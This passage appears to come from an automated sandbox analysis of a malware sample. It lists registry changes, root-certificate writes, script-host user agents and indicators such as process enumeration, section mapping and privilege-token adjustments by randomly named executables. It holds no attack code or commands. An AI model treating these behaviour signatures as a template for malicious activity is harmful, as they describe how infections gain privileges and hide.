OneDriveSetup.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeFileSyncConfig.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\VersionIndependentProgID\ = "NucleusNativeMessaging.NucleusNativeMessaging" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\PROXYSTUBCLSID32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{d8c80ebb-099c-4208-afa3-fbc4d11f8a3c}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{1B71F23B-E61F-45C9-83BA-235D55F50CF9}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07} OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{AF60000F-661D-472A-9588-F062F6DB7A0E}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\TYPELIB OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\SyncEngineStorageProviderHandlerProxy.SyncEngineStorageProviderHandlerProxy OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{da82e55e-fa2f-45b3-aec3-e7294106ef52}\ = "IFileSyncClient5" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\grvopen\UseOriginalUrlEncoding = "1" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{0776AE27-5AB9-4E18-9063-1836DA63117A}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{2E7C0A19-0438-41E9-81E3-3AD3D64F55BA}\TYPELIB OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\VERSIONINDEPENDENTPROGID OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TypeLib OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\theonlygames.com\Total = "48" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{ADCB6DEB-35A7-45C7-852F-279ED47CF664}" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\ProxyStubClsid32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\ProxyStubClsid32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}\1.0\HELPDIR OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\dtscout.com\ = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B}\LOCALSERVER32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{AF60000F-661D-472A-9588-F062F6DB7A0E}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{1B7AED4F-FCAF-4DA4-8795-C03E635D8EDC}\PROXYSTUBCLSID32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{2e7c0a19-0438-41e9-81e3-3ad3d64f55ba}\LocalServer32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}\ = "ILaunchUXInterface" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{B54E7079-90C9-4C62-A6B8-B2834C33A04A}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{909A6CCD-6810-46C4-89DF-05BE7EB61E6C} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}\TypeLib OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\ThreadingModel = "Apartment" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{082D3FEC-D0D0-4DF6-A988-053FECE7B884}\1.0\FLAGS OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406}\ = "IGetLinkCallback" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpCleanupState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\PROXYSTUBCLSID32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\VersionIndependentProgID OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "{5908514F-FEBC-4A13-B3AA-0B27209B65FF}" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\PROXYSTUBCLSID32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TYPELIB OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\InitPropertyBag\Attributes = "17" FileSyncConfig.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\mssharepointclient\ = "URL: mssharepointclient" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\theonlygames.com\ = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}\ProxyStubClsid32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\TypeLib OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 OneDriveSetup.exe -
Processes:
installer.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe -
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 547 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 665 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 672 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 62 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 111 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 522 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeMon17a0d8ec302e.exezhanglijuan-game.exeExplorer.EXEWerFault.exe3482271.exe7933448.exepid process 2104 powershell.exe 2104 powershell.exe 396 powershell.exe 396 powershell.exe 396 powershell.exe 2104 powershell.exe 3376 Mon17a0d8ec302e.exe 3376 Mon17a0d8ec302e.exe 2104 powershell.exe 396 powershell.exe 2972 zhanglijuan-game.exe 2972 zhanglijuan-game.exe 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 3680 WerFault.exe 1556 3482271.exe 1556 3482271.exe 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 1488 7933448.exe 1488 7933448.exe 2604 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
Explorer.EXEfoldershare.exepid process 2604 Explorer.EXE 6152 foldershare.exe -
Suspicious behavior: MapViewOfSection 28 IoCs
Processes:
Mon17a0d8ec302e.exei9iBfSFpiJLNYdkx4pTJj13W.exeMiFnSOOP3jL2bVNTqswI6fwY.exembqtmEoq2yLOhYkBnJknXxjC.execontrol.exepPg9gR09BXK6mbu2BNNejH5P.exeUu8ktdPLBFcY1iPXMPwESBiH.exeMicrosoftEdgeCP.exetvssfjctvssfjcMicrosoftEdgeCP.exepid process 3376 Mon17a0d8ec302e.exe 1372 i9iBfSFpiJLNYdkx4pTJj13W.exe 6492 MiFnSOOP3jL2bVNTqswI6fwY.exe 1372 i9iBfSFpiJLNYdkx4pTJj13W.exe 1372 i9iBfSFpiJLNYdkx4pTJj13W.exe 6492 MiFnSOOP3jL2bVNTqswI6fwY.exe 6492 MiFnSOOP3jL2bVNTqswI6fwY.exe 6852 mbqtmEoq2yLOhYkBnJknXxjC.exe 5528 control.exe 5528 control.exe 6436 pPg9gR09BXK6mbu2BNNejH5P.exe 4496 Uu8ktdPLBFcY1iPXMPwESBiH.exe 7324 MicrosoftEdgeCP.exe 7324 MicrosoftEdgeCP.exe 7324 MicrosoftEdgeCP.exe 7324 MicrosoftEdgeCP.exe 5208 tvssfjc 5528 control.exe 5528 control.exe 7324 MicrosoftEdgeCP.exe 7324 MicrosoftEdgeCP.exe 5528 control.exe 5528 control.exe 7324 MicrosoftEdgeCP.exe 7324 MicrosoftEdgeCP.exe 8372 tvssfjc 6600 MicrosoftEdgeCP.exe 6600 MicrosoftEdgeCP.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
2367830.exepid process 2196 2367830.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Mon17870faab0.exeMon178d8e5d06822.exeWinHoster.exepowershell.exepowershell.exeWerFault.exeExplorer.EXEchrome.exeDownFlSetup110.exechrome2.exedescription pid process Token: SeCreateTokenPrivilege 3884 Mon17870faab0.exe Token: SeAssignPrimaryTokenPrivilege 3884 Mon17870faab0.exe Token: SeLockMemoryPrivilege 3884 Mon17870faab0.exe Token: SeIncreaseQuotaPrivilege 3884 Mon17870faab0.exe Token: SeMachineAccountPrivilege 3884 Mon17870faab0.exe Token: SeTcbPrivilege 3884 Mon17870faab0.exe Token: SeSecurityPrivilege 3884 Mon17870faab0.exe Token: SeTakeOwnershipPrivilege 3884 Mon17870faab0.exe Token: SeLoadDriverPrivilege 3884 Mon17870faab0.exe Token: SeSystemProfilePrivilege 3884 Mon17870faab0.exe Token: SeSystemtimePrivilege 3884 Mon17870faab0.exe Token: SeProfSingleProcessPrivilege 3884 Mon17870faab0.exe Token: SeIncBasePriorityPrivilege 3884 Mon17870faab0.exe Token: SeCreatePagefilePrivilege 3884 Mon17870faab0.exe Token: SeCreatePermanentPrivilege 3884 Mon17870faab0.exe Token: SeBackupPrivilege 3884 Mon17870faab0.exe Token: SeRestorePrivilege 3884 Mon17870faab0.exe Token: SeShutdownPrivilege 3884 Mon17870faab0.exe Token: SeDebugPrivilege 3884 Mon17870faab0.exe Token: SeAuditPrivilege 3884 Mon17870faab0.exe Token: SeSystemEnvironmentPrivilege 3884 Mon17870faab0.exe Token: SeChangeNotifyPrivilege 3884 Mon17870faab0.exe Token: SeRemoteShutdownPrivilege 3884 Mon17870faab0.exe Token: SeUndockPrivilege 3884 Mon17870faab0.exe Token: SeSyncAgentPrivilege 3884 Mon17870faab0.exe Token: SeEnableDelegationPrivilege 3884 Mon17870faab0.exe Token: SeManageVolumePrivilege 3884 Mon17870faab0.exe Token: SeImpersonatePrivilege 3884 Mon17870faab0.exe Token: SeCreateGlobalPrivilege 3884 Mon17870faab0.exe Token: 31 3884 Mon17870faab0.exe Token: 32 3884 Mon17870faab0.exe Token: 33 3884 Mon17870faab0.exe Token: 34 3884 Mon17870faab0.exe Token: 35 3884 Mon17870faab0.exe Token: SeDebugPrivilege 2160 Mon178d8e5d06822.exe Token: SeDebugPrivilege 1484 WinHoster.exe Token: SeDebugPrivilege 396 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeRestorePrivilege 3680 WerFault.exe Token: SeBackupPrivilege 3680 WerFault.exe Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeDebugPrivilege 3680 WerFault.exe Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE Token: SeDebugPrivilege 3500 chrome.exe Token: SeDebugPrivilege 2152 DownFlSetup110.exe Token: SeDebugPrivilege 1152 chrome2.exe Token: SeShutdownPrivilege 2604 Explorer.EXE Token: SeCreatePagefilePrivilege 2604 Explorer.EXE -
